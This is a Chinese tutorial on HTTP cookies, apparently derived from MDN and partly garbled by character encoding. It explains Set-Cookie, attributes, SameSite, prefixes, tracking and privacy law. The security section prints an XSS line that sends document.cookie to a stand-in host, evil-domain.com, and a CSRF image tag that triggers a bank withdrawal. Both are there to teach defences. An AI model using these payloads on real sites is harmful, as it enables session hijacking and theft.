[toc]
# 簡(jiǎn)介
HTTP Cookie(也叫 Web Cookie 或?yàn)g覽器 Cookie)是服務(wù)器發(fā)送到用戶瀏覽器并保存在本地的一小塊數(shù)據(jù),它會(huì)在瀏覽器下次向同一服務(wù)器再發(fā)起請(qǐng)求時(shí)被攜帶并發(fā)送到服務(wù)器上。通常,它用于告知服務(wù)端兩個(gè)請(qǐng)求是否來(lái)自同一瀏覽器,如保持用戶的登錄狀態(tài)。Cookie 使基于無(wú)狀態(tài)的HTTP協(xié)議記錄穩(wěn)定的狀態(tài)信息成為了可能。
## Cookie 主要用于以下三個(gè)方面:
* 會(huì)話狀態(tài)管理(如用戶登錄狀態(tài)、購(gòu)物車、游戲分?jǐn)?shù)或其它需要記錄的信息)
* 個(gè)性化設(shè)置(如用戶自定義設(shè)置、主題等)
* 瀏覽器行為跟蹤(如跟蹤分析用戶行為等)
## 擴(kuò)展知識(shí)
Cookie 曾一度用于客戶端數(shù)據(jù)的存儲(chǔ),因當(dāng)時(shí)并沒(méi)有其它合適的存儲(chǔ)辦法而作為唯一的存儲(chǔ)手段,但現(xiàn)在隨著現(xiàn)代瀏覽器開(kāi)始支持各種各樣的存儲(chǔ)方式,Cookie 漸漸被淘汰。由于服務(wù)器指定 Cookie 后,瀏覽器的每次請(qǐng)求都會(huì)攜帶 Cookie 數(shù)據(jù),會(huì)帶來(lái)額外的性能開(kāi)銷(尤其是在移動(dòng)環(huán)境下)。新的瀏覽器API已經(jīng)允許開(kāi)發(fā)者直接將數(shù)據(jù)存儲(chǔ)到本地,如使用 Web storage API (本地存儲(chǔ)和會(huì)話存儲(chǔ))或 IndexedDB 。
**備注:**
```
要查看Cookie存儲(chǔ)(或網(wǎng)頁(yè)上能夠使用其他的存儲(chǔ)方式),你可以在開(kāi)發(fā)者工具中啟用存儲(chǔ)查看(Storage Inspector )功能,并在存儲(chǔ)樹(shù)上選中Cookie。
```
# 創(chuàng)建Cookie
當(dāng)服務(wù)器收到 HTTP 請(qǐng)求時(shí),服務(wù)器可以在響應(yīng)頭里面添加一個(gè) Set-Cookie 選項(xiàng)。瀏覽器收到響應(yīng)后通常會(huì)保存下 Cookie,之后對(duì)該服務(wù)器每一次請(qǐng)求中都通過(guò) Cookie 請(qǐng)求頭部將 Cookie 信息發(fā)送給服務(wù)器。另外,Cookie 的過(guò)期時(shí)間、域、路徑、有效期、適用站點(diǎn)都可以根據(jù)需要來(lái)指定。
## Set-Cookie響應(yīng)頭部和Cookie請(qǐng)求頭部
服務(wù)器使用 Set-Cookie 響應(yīng)頭部向用戶代理(一般是瀏覽器)發(fā)送 Cookie信息。一個(gè)簡(jiǎn)單的 Cookie 可能像這樣:
```
Set-Cookie: <cookie名>=<cookie值>
```
服務(wù)器通過(guò)該頭部告知客戶端保存 Cookie 信息。
```
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry
[頁(yè)面內(nèi)容]
```
現(xiàn)在,對(duì)該服務(wù)器發(fā)起的每一次新請(qǐng)求,瀏覽器都會(huì)將之前保存的Cookie信息通過(guò) Cookie 請(qǐng)求頭部再發(fā)送給服務(wù)器。
```
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
```
## 定義 Cookie 的生命周期
Cookie 的生命周期可以通過(guò)兩種方式定義:
* 會(huì)話期 Cookie 是最簡(jiǎn)單的 Cookie:瀏覽器關(guān)閉之后它會(huì)被自動(dòng)刪除,也就是說(shuō)它僅在會(huì)話期內(nèi)有效。會(huì)話期Cookie不需要指定過(guò)期時(shí)間(Expires)或者有效期(Max-Age)。需要注意的是,有些瀏覽器提供了會(huì)話恢復(fù)功能,這種情況下即使關(guān)閉了瀏覽器,會(huì)話期Cookie 也會(huì)被保留下來(lái),就好像瀏覽器從來(lái)沒(méi)有關(guān)閉一樣,這會(huì)導(dǎo)致 Cookie 的生命周期無(wú)限期延長(zhǎng)。
* 持久性 Cookie 的生命周期取決于過(guò)期時(shí)間(Expires)或有效期(Max-Age)指定的一段時(shí)間。
**例如:**
```
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
```
如果您的站點(diǎn)對(duì)用戶進(jìn)行身份驗(yàn)證,則每當(dāng)用戶進(jìn)行身份驗(yàn)證時(shí),它都應(yīng)重新生成并重新發(fā)送會(huì)話 Cookie,甚至是已經(jīng)存在的會(huì)話 Cookie。此技術(shù)有助于防止會(huì)話固定攻擊(session fixation attacks),在該攻擊中第三方可以重用用戶的會(huì)話。
**備注:**
```
當(dāng)Cookie的過(guò)期時(shí)間被設(shè)定時(shí),設(shè)定的日期和時(shí)間只與客戶端相關(guān),而不是服務(wù)端。
```
## 限制訪問(wèn) Cookie
有兩種方法可以確保 Cookie 被安全發(fā)送,并且不會(huì)被意外的參與者或腳本訪問(wèn):Secure 屬性和HttpOnly 屬性。
* 標(biāo)記為 Secure 的 Cookie 只應(yīng)通過(guò)被 HTTPS 協(xié)議加密過(guò)的請(qǐng)求發(fā)送給服務(wù)端,因此可以預(yù)防 man-in-the-middle 攻擊者的攻擊。但即便設(shè)置了 Secure 標(biāo)記,敏感信息也不應(yīng)該通過(guò) Cookie 傳輸,因?yàn)?Cookie 有其固有的不安全性,Secure 標(biāo)記也無(wú)法提供確實(shí)的安全保障, 例如,可以訪問(wèn)客戶端硬盤(pán)的人可以讀取它。
* JavaScript Document.cookie API 無(wú)法訪問(wèn)帶有 HttpOnly 屬性的cookie;此類 Cookie 僅作用于服務(wù)器。
例如,持久化服務(wù)器端會(huì)話的 Cookie 不需要對(duì) JavaScript 可用,而應(yīng)具有 HttpOnly 屬性。此預(yù)防措施有助于緩解跨站點(diǎn)腳本(XSS)攻擊。
**示例:**
```
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
```
**備注:**
```
從 Chrome 52 和 Firefox 52 開(kāi)始,不安全的站點(diǎn)(http:)無(wú)法使用Cookie的 Secure 標(biāo)記。
```
## Cookie 的作用域
Domain 和 Path 標(biāo)識(shí)定義了Cookie的作用域:即允許 Cookie 應(yīng)該發(fā)送給哪些URL。
### Domain 屬性
Domain 指定了哪些主機(jī)可以接受 Cookie。如果不指定,默認(rèn)為 origin,不包含子域名。如果指定了Domain,則一般包含子域名。因此,指定 Domain 比省略它的限制要少。但是,當(dāng)子域需要共享有關(guān)用戶的信息時(shí),這可能會(huì)有所幫助。
例如,如果設(shè)置 Domain=mozilla.org,則 Cookie 也包含在子域名中(如developer.mozilla.org)。
**備注:**
```
當(dāng)前大多數(shù)瀏覽器遵循 RFC 6265,設(shè)置 Domain 時(shí) 不需要加前導(dǎo)點(diǎn)。瀏覽器不遵循該規(guī)范,則需要加前導(dǎo)點(diǎn),例如:Domain=.mozilla.org
```
### Path 屬性
Path 標(biāo)識(shí)指定了主機(jī)下的哪些路徑可以接受 Cookie(該 URL 路徑必須存在于請(qǐng)求 URL 中)。以字符 %x2F ("/") 作為路徑分隔符,子路徑也會(huì)被匹配。
例如,設(shè)置 Path=/docs,則以下地址都會(huì)匹配:
* /docs
* /docs/Web/
* /docs/Web/HTTP
### SameSite attribute
SameSite Cookie 允許服務(wù)器要求某個(gè) cookie 在跨站請(qǐng)求時(shí)不會(huì)被發(fā)送,(其中 Site 由可注冊(cè)域定義),從而可以阻止跨站請(qǐng)求偽造攻擊(CSRF)。
SameSite cookies 是相對(duì)較新的一個(gè)字段,所有主流瀏覽器都已經(jīng)得到支持。
下面是例子:
```
Set-Cookie: key=value; SameSite=Strict
```
**SameSite 可以有下面三種值:**
* None。瀏覽器會(huì)在同站請(qǐng)求、跨站請(qǐng)求下繼續(xù)發(fā)送 cookies,不區(qū)分大小寫(xiě)。
* Strict。瀏覽器將只在訪問(wèn)相同站點(diǎn)時(shí)發(fā)送 cookie。(在原有 Cookies 的限制條件上的加強(qiáng),如上文 “Cookie 的作用域” 所述)
* Lax。與 Strict 類似,但用戶從外部站點(diǎn)導(dǎo)航至URL時(shí)(例如通過(guò)鏈接)除外。 在新版本瀏覽器中,為默認(rèn)選項(xiàng),Same-site cookies 將會(huì)為一些跨站子請(qǐng)求保留,如圖片加載或者 frames 的調(diào)用,但只有當(dāng)用戶從外部站點(diǎn)導(dǎo)航到URL時(shí)才會(huì)發(fā)送,如 link 鏈接
**備注:**
```
以前,如果 SameSite 屬性沒(méi)有設(shè)置,或者沒(méi)有得到運(yùn)行瀏覽器的支持,那么它的行為等同于 None,Cookies 會(huì)被包含在任何請(qǐng)求中——包括跨站請(qǐng)求。
大多數(shù)主流瀏覽器正在將 SameSite 的默認(rèn)值遷移至 Lax。如果想要指定 Cookies 在同站、跨站請(qǐng)求都被發(fā)送,現(xiàn)在需要明確指定 SameSite 為 None。
```
### Cookie prefixes
cookie 機(jī)制的使得服務(wù)器無(wú)法確認(rèn) cookie 是在安全來(lái)源上設(shè)置的,甚至無(wú)法確定 cookie 最初是在哪里設(shè)置的。
子域上的易受攻擊的應(yīng)用程序可以使用 Domain 屬性設(shè)置 cookie,從而可以訪問(wèn)所有其他子域上的該 cookie。會(huì)話固定攻擊中可能會(huì)濫用此機(jī)制。有關(guān)主要緩解方法,請(qǐng)參閱會(huì)話劫持( session fixation)。
但是,作為深度防御措施,可以使用 cookie 前綴來(lái)斷言有關(guān) cookie 的特定事實(shí)。有兩個(gè)前綴可用:
```
__Host-
如果 cookie 名稱具有此前綴,則僅當(dāng)它也用 Secure 屬性標(biāo)記,是從安全來(lái)源發(fā)送的,不包括 Domain 屬性,并將 Path 屬性設(shè)置為 / 時(shí),它才在 Set-Cookie 標(biāo)頭中接受。這樣,這些 cookie 可以被視為 "domain-locked”。
__Secure-
如果 cookie 名稱具有此前綴,則僅當(dāng)它也用 Secure 屬性標(biāo)記,是從安全來(lái)源發(fā)送的,它才在 Set-Cookie 標(biāo)頭中接受。該前綴限制要弱于 __Host- 前綴。
```
帶有這些前綴點(diǎn) Cookie, 如果不符合其限制的會(huì)被瀏覽器拒絕。請(qǐng)注意,這確保了如果子域要?jiǎng)?chuàng)建帶有前綴的 cookie,那么它將要么局限于該子域,要么被完全忽略。由于應(yīng)用服務(wù)器僅在確定用戶是否已通過(guò)身份驗(yàn)證或 CSRF 令牌正確時(shí)才檢查特定的 cookie 名稱,因此,這有效地充當(dāng)了針對(duì)會(huì)話劫持的防御措施。
**備注:**
```
在應(yīng)用程序服務(wù)器上,Web 應(yīng)用程序必須檢查完整的 cookie 名稱,包括前綴 —— 用戶代理程序在從請(qǐng)求的 Cookie 標(biāo)頭中發(fā)送前綴之前,不會(huì)從 cookie 中剝離前綴。
```
### JavaScript 通過(guò) Document.cookie 訪問(wèn) Cookie
通過(guò) Document.cookie 屬性可創(chuàng)建新的 Cookie,也可通過(guò)該屬性訪問(wèn)非HttpOnly標(biāo)記的Cookie。
```
document.cookie = "yummy_cookie=choco";
document.cookie = "tasty_cookie=strawberry";
console.log(document.cookie);
// logs "yummy_cookie=choco; tasty_cookie=strawberry"
```
通過(guò) JavaScript 創(chuàng)建的 Cookie 不能包含 HttpOnly 標(biāo)志。
# 安全
**備注:**
```
信息被存在 Cookie 中時(shí),需要明白 cookie 的值時(shí)可以被訪問(wèn),且可以被終端用戶所修改的。根據(jù)應(yīng)用程序的不同,可能需要使用服務(wù)器查找的不透明標(biāo)識(shí)符,或者研究諸如 JSON Web Tokens 之類的替代身份驗(yàn)證/機(jī)密機(jī)制。
當(dāng)機(jī)器處于不安全環(huán)境時(shí),切記不能通過(guò) HTTP Cookie 存儲(chǔ)、傳輸敏感信息。
```
**緩解涉及Cookie的攻擊的方法:**
* 使用 HttpOnly 屬性可防止通過(guò) JavaScript 訪問(wèn) cookie 值。
* 用于敏感信息(例如指示身份驗(yàn)證)的 Cookie 的生存期應(yīng)較短,并且 SameSite 屬性設(shè)置為Strict 或 Lax。(請(qǐng)參見(jiàn)上方的 SameSite Cookie。)在支持 SameSite 的瀏覽器中,這樣做的作用是確保不與跨域請(qǐng)求一起發(fā)送身份驗(yàn)證 cookie,因此,這種請(qǐng)求實(shí)際上不會(huì)向應(yīng)用服務(wù)器進(jìn)行身份驗(yàn)證。
## 會(huì)話劫持和 XSS
在 Web 應(yīng)用中,Cookie 常用來(lái)標(biāo)記用戶或授權(quán)會(huì)話。因此,如果 Web 應(yīng)用的 Cookie 被竊取,可能導(dǎo)致授權(quán)用戶的會(huì)話受到攻擊。常用的竊取 Cookie 的方法有利用社會(huì)工程學(xué)攻擊和利用應(yīng)用程序漏洞進(jìn)行 XSS 攻擊。
```
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
```
HttpOnly 類型的 Cookie 用于阻止了JavaScript 對(duì)其的訪問(wèn)性而能在一定程度上緩解此類攻擊。
## 跨站請(qǐng)求偽造(CSRF)
維基百科已經(jīng)給了一個(gè)比較好的 CSRF 例子。比如在不安全聊天室或論壇上的一張圖片,它實(shí)際上是一個(gè)給你銀行服務(wù)器發(fā)送提現(xiàn)的請(qǐng)求:
```
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
```
當(dāng)你打開(kāi)含有了這張圖片的 HTML 頁(yè)面時(shí),如果你之前已經(jīng)登錄了你的銀行帳號(hào)并且 Cookie 仍然有效(還沒(méi)有其它驗(yàn)證步驟),你銀行里的錢很可能會(huì)被自動(dòng)轉(zhuǎn)走。有一些方法可以阻止此類事件的發(fā)生:
* 對(duì)用戶輸入進(jìn)行過(guò)濾來(lái)阻止 XSS;
* 任何敏感操作都需要確認(rèn);
* 用于敏感信息的 Cookie 只能擁有較短的生命周期;
* 更多方法可以查看[OWASP CSRF](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)
# 跟蹤和隱私
## 第三方 Cookie
Cookie 與域關(guān)聯(lián)。如果此域與您所在頁(yè)面的域相同,則該 cookie 稱為第一方 cookie( first-party cookie)。如果域不同,則它是第三方 cookie(third-party cookie)。當(dāng)托管網(wǎng)頁(yè)的服務(wù)器設(shè)置第一方 Cookie 時(shí),該頁(yè)面可能包含存儲(chǔ)在其他域中的服務(wù)器上的圖像或其他組件(例如,廣告橫幅),這些圖像或其他組件可能會(huì)設(shè)置第三方 Cookie。這些主要用于在網(wǎng)絡(luò)上進(jìn)行廣告和跟蹤。例如,types of cookies used by Google。第三方服務(wù)器可以基于同一瀏覽器在訪問(wèn)多個(gè)站點(diǎn)時(shí)發(fā)送給它的 cookie 來(lái)建立用戶瀏覽歷史和習(xí)慣的配置文件。Firefox 默認(rèn)情況下會(huì)阻止已知包含跟蹤器的第三方 cookie。第三方cookie(或僅跟蹤 cookie)也可能被其他瀏覽器設(shè)置或擴(kuò)展程序阻止。阻止 Cookie 會(huì)導(dǎo)致某些第三方組件(例如社交媒體窗口小部件)無(wú)法正常運(yùn)行。
如果你沒(méi)有公開(kāi)你網(wǎng)站上第三方 Cookie 的使用情況,當(dāng)它們被發(fā)覺(jué)時(shí)用戶對(duì)你的信任程度可能受到影響。一個(gè)較清晰的聲明(比如在隱私策略里面提及)能夠減少或消除這些負(fù)面影響。在某些國(guó)家已經(jīng)開(kāi)始對(duì)Cookie制訂了相應(yīng)的法規(guī),可以查看維基百科上例子cookie statement。
## Cookie 相關(guān)規(guī)定
涉及使用 Cookie 的法律或法規(guī)包括:
* 歐盟通用數(shù)據(jù)隱私法規(guī)(GDPR)
* 歐盟的《隱私權(quán)指令》
* 加州消費(fèi)者隱私法
這些規(guī)定具有全球影響力,因?yàn)樗鼈冞m用于這些司法管轄區(qū)(歐盟和加利福尼亞)的用戶訪問(wèn)的萬(wàn)維網(wǎng)上的任何站點(diǎn),但請(qǐng)注意,加利福尼亞州的法律僅適用于總收入超過(guò)2500萬(wàn)美元的實(shí)體其他事情。)
這些法規(guī)包括以下要求:
* 向用戶表明您的站點(diǎn)使用 cookie。
* 允許用戶選擇不接收某些或所??有 cookie。
* 允許用戶在不接收 Cookie 的情況下使用大部分服務(wù)。
可能還存在其他法規(guī)來(lái)管理您當(dāng)?shù)氐腃ookie。您有責(zé)任了解并遵守這些規(guī)定。有些公司提供 "cookie banner" 代碼,可幫助您遵守這些法規(guī)。
### 禁止追蹤 Do-Not-Track
雖然并沒(méi)有法律或者技術(shù)手段強(qiáng)制要求使用 DNT,但是通過(guò)DNT 可以告訴Web程序不要對(duì)用戶行為進(jìn)行追蹤或者跨站追蹤。查看DNT 以獲取更多信息。
### 歐盟 Cookie 指令
關(guān)于 Cookie,歐盟已經(jīng)在2009/136/EC指令中提了相關(guān)要求,該指令已于2011年5月25日生效。雖然指令并不屬于法律,但它要求歐盟各成員國(guó)通過(guò)制定相關(guān)的法律來(lái)滿足該指令所提的要求。當(dāng)然,各國(guó)實(shí)際制定法律會(huì)有所差別。
該歐盟指令的大意:在征得用戶的同意之前,網(wǎng)站不允許通過(guò)計(jì)算機(jī)、手機(jī)或其他設(shè)備存儲(chǔ)、檢索任何信息。自從那以后,很多網(wǎng)站都在網(wǎng)站聲明中添加了相關(guān)說(shuō)明,告訴用戶他們的 Cookie 將用于何處。
## 僵尸 Cookie 和刪不掉的 Cookie
Cookie的一個(gè)極端使用例子是僵尸Cookie(或稱之為“刪不掉的Cookie”),這類 Cookie 較難以刪除,甚至刪除之后會(huì)自動(dòng)重建。這些技術(shù)違反了用戶隱私和用戶控制的原則,可能違反了數(shù)據(jù)隱私法規(guī),并可能使使用它們的網(wǎng)站承擔(dān)法律責(zé)任。它們一般是使用 Web storage API、Flash本地共享對(duì)象或者其他技術(shù)手段來(lái)達(dá)到的。
# 在瀏覽器中存儲(chǔ)信息的其他方式
在瀏覽器中存儲(chǔ)數(shù)據(jù)的另一種方法是 Web Storage API。window.sessionStorage 和window.localStorage 屬性與持續(xù)時(shí)間中的會(huì)話和永久 cookie 相對(duì)應(yīng),但是存儲(chǔ)限制比 cookie大,并且永遠(yuǎn)不會(huì)發(fā)送到服務(wù)器。
可以使用 IndexedDB API 或基于它構(gòu)建的庫(kù)來(lái)存儲(chǔ)更多結(jié)構(gòu)化的數(shù)據(jù)。
# 參考資料
* 《HTTP|MDN》